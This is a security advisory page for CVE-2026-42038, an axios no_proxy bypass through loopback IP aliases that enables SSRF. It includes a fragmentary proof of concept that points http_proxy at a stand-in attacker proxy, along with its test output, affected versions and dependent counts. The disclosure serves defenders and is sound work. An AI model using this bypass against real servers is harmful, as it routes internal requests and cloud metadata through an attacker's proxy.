CVE-2026-42038
Axios: no_proxy bypass via IP alias allows SSRF
Description
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result:
- no_proxy=localhost does NOT block 127.0.0.1 or [::1]
- no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » axiosvia npm axios | < 0.31.1>= 1.0.0, < 1.15.1 | 0.31.1, 1.15.1 |
| org.webjars.npm » axiosvia npm axios | < 0.31.1>= 1.0.0, < 1.15.1 | 0.31.1, 1.15.1 |
Blast radius
15% of the dependent artifacts (7) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 538 |
| 2 hops | 396 |
| 3 hops | 271 |
Most used dependents
- de.tudarmstadt.ukp.inception.app » inception-ui-core24 usages
- org.mvnpm.at.bigbinary » neeto-commons-frontend14 usages
- de.tudarmstadt.ukp.inception.app » inception-ui-dashboard12 usages
- de.tudarmstadt.ukp.inception.app » inception-workload10 usages
- de.tudarmstadt.ukp.inception.app » inception-recommendation9 usages
- de.gematik.test » tiger-test-lib9 usages
- org.mvnpm.at.bigbinary » neeto-atoms7 usages
- org.mvnpm.at.bigbinary » neeto-molecules6 usages
- de.gematik.test » tiger-testenv-mgr6 usages
- org.mvnpm.at.bigbinary » neeto-filters-frontend6 usages
- de.tudarmstadt.ukp.inception.app » inception-websocket6 usages
- de.tudarmstadt.ukp.inception.app » inception-imls-stringmatch4 usages
- org.mvnpm.at.bigbinary » neeto-team-members-frontend4 usages
- org.mvnpm.at.bigbinary » neeto-editor4 usages
- org.mvnpm.at.bigbinary » neeto-image-uploader-frontend4 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-42038 | nvd.nist.gov |
| Package | axios/axios | github.com |
| Web | axios/axios advisory GHSA-m7pr-hjqh-92cm | github.com |
